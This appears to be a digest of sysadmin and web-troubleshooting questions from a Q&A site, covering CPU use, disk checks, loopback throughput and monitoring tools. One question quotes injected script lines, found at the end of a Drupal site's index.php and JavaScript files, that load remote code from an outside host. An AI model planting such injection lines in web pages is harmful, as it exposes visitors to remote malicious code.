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  • Why won't Windows use the other CPU cores?

    - by revloc02
    In Windows Task Manager the Performance tab shows the first CPU maxed out, the other 7 just idling along with the occasional spike. What gives? More info: I've got 8GB and only 4.5GB are being used. The Processes tab has no indication of any process hogging processing power. In fact System Idle Process is 98-99. When I program stuff and have like 8 to 12 applications going (several directly unrelated to programming of course) my computer slows to a crawl. Sysyem Info: Intel Core i7-2600K Processor (quad-core with hyper-threading), 8GB RAM, Intel BOXDZ68BC LGA 1155 Motherboard, 500GB HDD

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  • Has my site been attacked?

    - by fretje
    This is about an online store based on Drupal 5. All of a sudden it didn't work anymore. Upon accessing the site, this error came up: Parse error: syntax error, unexpected '<' in /home/public_html/index.php on line 38 Upon further inspection I found the following two lines at the end of said index.php: <script type="text/javascript" src="http://blog.nodisposable.com:8080/Hibernate.js"></script> <!--7379ba6e55616ea66ac9d812fc0597ba--> After manually removing those 2 lines, the site seems to work fine again. But after more problems (with editing pages) were reported, I found out that actually all the *.js files are "infected". They all contain an extra line at the end: document.write('<s'+'cript type="text/javascript" src="http://blog.nodisposable.com:8080/Hibernate.js"></scr'+'ipt>'); Has this site been hacked? Upon googling for "blog.nodisposable.com", nothing interesting comes up. That site itself seems legitimate. It's probably hacked itself? Can anybody explain how this could have happened? What I can do to reverse this? And what I can do to avoid this in the future?

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  • Steps to debugging web site latency and timeout issues

    - by Paperjam
    I have a client who has multiple offices around the country, all of which share the same Internet connection via their WAN. One specific office for this client is experiencing severe latency and timeout issues with my web site. Most, but not all, of the latency occurs on a specific ASPX page where multiple postbacks are made while populating cascading dropdown lists (rapid form submits). The latency is sporadic and can be anywhere from a few seconds to a full timeout. There is no indication that the timeouts are occurring on the server's end. The IT guy for this client is having trouble narrowing down the problem. Since it is affecting only one location for one client, I am led to believe it is not something with my site but something specific to that location. He's measured ping times while using the site and has noticed no real variance in ping times even when the page has timed out. I believe this may be being caused by some sort of Internet filter that doesn't like rapid form submits, but beyond a hunch I haven't a clue. My question is what things should I tell the IT guy to look for? While I'm not trying to provide active tech support for this issue, I would at least like to glean an understanding of what is going on and try to offer some sort of advice. Thank you.

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  • How to forbid keyboard shortcut stealing by websites in Firefox

    - by taw
    Many websites, especially everything involving rich text editing (this site is guilty as well), steal keyboard shortcuts normally used to control Firefox and make them do something else instead. It is totally infuriating when I press something like Cmd-number, Cmd-L, Cmd-T, or Cmd-K and it doesn't do what I want it to. Can I make it stop? Actually, it would probably be for the best if I could forbid stealing of all Cmd-* shortcuts. I've never seen them used for anything useful. Is it possible?

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  • Check the disk for problems on Debian Lenny

    - by Equ
    Hi guys! I just bought a VPS hosting with Debian Lenny (I'm new to all this world). I've managed to install and setup everthing I need pretty well. My testing website works fast as expected most of the time, but sometimes it is really slow (response time is about 5-10 seconds). I checked everything and seems that there are may be some disk issues. How can I check the disk for problems/performance? What else could possible cause such a behaviour? Thank you!

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  • Troubleshooting web page load issues

    - by Richard Testani
    I having an odd issue where a particular page doesn't finish loading... all the time. Intermittenly, this page doesn't finish loading - in particluar, it seems maybe the JS file isn't downloaded or finished loading. Marchelos Law I am not sure how to troubleshoot this issue, since refreshing it fixes it. I see it mostly in IE 7 & 8, rarely in Safari or FireFox. If you view the page in question, refreshing it - you should see the issue. Any ideas?

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  • online reminder services

    - by Remus Rigo
    hi all I used a few years ago an online birthday reminder site and now i just can't find it. Does anyone know a good site that provides reminders (that sends alert mails)... (if this is the wrong place to post this question please suggest another site) thanks

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  • What sites/publications are good for staying current on security and malware trends?

    - by Holocryptic
    In my ever expanding quest for knowledge, I'm at the point where I feel like I need to be more up to date with the current security trends, as well as malware and such that are in the wild. I'd like to be able to say, "I've heard of that and the fix is...." versus, "Oh, yeah, I had that eat up half my network before I contained it...." What sites and publications are good for keeping up with these things?

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  • writting becomes slow after few writes

    - by user1566277
    I am running an embedded Linux on arm with a SD-Card. While writing huge amounts of data I see bizarre effects. E.g, when I dd a 15 MB file few times, it writes the file (normally) in less than 2 Secs. But After lets say 3-4 times it takes sometimes 15 to 30 Seconds to write the same file. If I sync after writing the file, then this does not happen but sync takes long time too. If there is enough gap between writing two files than presumably kernel syncs itself. How can I optimize the whole performance so that write should always finish inside 2 Seconds. The File system I am using is ext3. Any pointers?

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  • Poor TCP loopback throughput on Windows

    - by Yodan Tauber
    I measured the throughput of a locally bound TCP socket connection on my computer (Intel Q9550, 64 GB RAM, Windows XP 64 bit) using iperf. I got dissatisfying results (around 1.6 Gbit/s) each time, no matter how I tweaked the TCP settings (buffer length, window size, max segment size, no delay). I got similar results when I tried netperf. Now, I understand (from sources like these) that the average throughput of a loopback connection should be around 5 Gbit/s. What could be the reasons for such poor performance?

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  • Is virtual machine slower than the underlying physical machine?

    - by Michal Illich
    This question is quite general, but most specifically I'm interested in knowing if virtual machine running Ubuntu Enterprise Cloud will be any slower than the same physical machine without any virtualization. How much (1%, 5%, 10%)? Did anyone measure performance difference of web server or db server (virtual VS physical)? If it depends on configuration, let's imagine two quad core processors, 12 GB of memory and a bunch of SSD disks, running 64-bit ubuntu enterprise server. On top of that, just 1 virtual machine allowed to use all resources available.

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  • I cant figure out my PHP problem. Can anyone with PHP codes? [closed]

    - by Jeffery
    when I click the submit button it gives me an error page. Here is the site http://nealconstruction.com/estimate.html $emailSubject = 'Estimate' $webMaster = '[email protected]' /* Gathering Info */ $emailField = $_POST ['email']; $nameField = $_POST ['name']; $phoneField = $_POST ['phone']; $typeField = $_POST ['type']; $locationField = $_POST ['location']; $infoField = $_POST ['info']; $contactField = $_POST ['contact']; $body = <<<EOD Email: $email Name: $name Phone Number: $phone Type Of Job: $type Location: $location Additional Info: $info How to Contact: $contact EOD; $headers = "From: $email\r\n"; $headers .= "Content-Type: text/html\r\n"; $success = mail($webMaster; $emailSubject; $body; $headers); /* Results rendered as html */ $theResults = << JakesWorks - travel made easy-Homepage Thank you for your information! We will contact you very soon! EOD; echo "$theResults"; ?

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  • How to serve a webpage on connection to WiFi network

    - by samwatt
    Hi, I would like to be able to serve a local webpage (on a LAN) when someone connects to a WiFi network. This happens quite often in libraries, cafes etc, so i'm sure it can be done, but I have no idea how and can't seem to find much through searching the web. That, and my very limited networking knowledge means I'm hoping you guys can point me in the right direction. Many thanks!

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  • Is there an application to check a site for infections?

    - by Chris
    A friend of mine says that a site I frequent was reported by his antivirus software to be infected with a trojan. I can't confirm this because I'm on a Mac, and he's running PC so nothing happens on my end. I'm wondering if there's a web site that I could use to check the site for infection or malicious script.

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  • one of my web hostings is down - only for me - why ?

    - by Thomas Traub
    My first post here, I am reading / learning a lot, thanks ;). I've got a mysterious issue (for me) and would really appreciate to get it solved. I've rent a reseller package with bibihost.com and it's now the second time that all my domaines the hoster's site are unavailable from my connection (my Mac and my iPhone), (in browser, per FTP, ping, ab, and traceroute) This has never before happened to me with other web addresses. traceroute get's always stuck at a specific server 40g.vss-1-6k.routers.chtix.eu (91.121.131.29) The sites are all up for everyone else, I've checked with downforeveryoneorjustme.com, a homegrown script loaded to another server and montastic.com My question(s) : Why am I blocked ? Is there anything I can do about it ? If I cannot solve this issue I have to change the hoster, but I really would like to know what's going on. my domaines on this server : tienstiens.fr tomlegrand.com

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  • Postfix smarthost with diffent relayhosts and sender dependant authentication

    - by mattinsalto
    I've setup postfix as smarthost with different relayhosts and sender dependant authentication. Everything works ok, but I have a performance question. Is it better to send all the email corresponding to a domain through only one account? I mean, now I'm sending each message authenticating to the relay host with the sender credentials. Example: If I have 5 email accounts and I send 10 simultaneous messages from each account, How many times is postfix login to the relay host if I have sender dependant authentication? 5 times? once for each sender 50 times? once for each message If I send all the messages corresponding to one realy host through one account, how many times does postfix login to the relay host? only once? Thanks in advance.

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  • Chromium never stops loading iGoogle

    - by regulatethis
    I almost always keep a tab open on google.com/ig. Recently I've noticed that the "loading" animation for that tab never stops spinning, even though the page appears to be fully loaded. Even though there's no direct problem with this, I find the animation really distracting and to be honest it's driving me crazy. I've done a few things to try to figure this out. I've removed every single one of my gadgets (so my igoogle is blank), but that made no difference. I've disabled adblock and scriptno. nothing. I've watched the network console in developer tools to look for resources that haven't finished loading, but it looks like everything is done. I'm all out of ideas. For my sanity's sake, please help.

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  • Fully secured gateway web sites

    - by SeaShore
    Hello, Are there any web sites that serve as gateways for fully encrypted communication? I mean sites with which I can open a secured session, and then to exchange through them with other sites in a secure way both URLs and content? Thanks in advance. UPDATE Sorry for not being clear. I was wondering if there was a way to access any site over the Internet (http or https) without letting any Intranet-proxy read the requested URL or the received content. My question is whether such a site exists, e.g.: I am connected to that site via https, I send it a URL in a secured way, the site gets the content from the target site (possibly in a non-secured way) and returns to me the requested content in a secured way.

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  • Enterprise Level Monitoring Solution

    - by Garthmeister J.
    My company is currently looking to replace our current solution used for monitoring our web-based enterprise solutions for both up-time and performance. Please note this is not intended to be a network monitoring-type solution (internally we currently use Nagios). If anyone has a provider that they have had a positive experience with, it would be much appreciated. Here is a list of our requirements: • Must have a large number of probes/agents around the globe to be representative of our customer base • Must have a flexible scripting capability to automate multi-step user actions • 24 hour a day monitoring • Flexible alerting system • Report generation capability • Mimic browser specific monitoring (optional, not a must-have)

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  • Monitoring disk block access in Linux

    - by VoidPointer
    Is there a way to gather statistics about blocks being accessed on a disk? I have a scenario where a task is both memory and I/O intensive and I need to find a good balance as to how much of the available RAM I can assign to the process and how much I should leave for the system for building its I/O cache for the block device being used. I suspect that most of the I/O that is currently happening is accessing a rather small subset of the device and that performance could be optimized by increasing the RAM that is available for I/O buffering. Ideally, I would be able to create something like a "heat-map" that shows me which parts of the disk are accessed most of the time.

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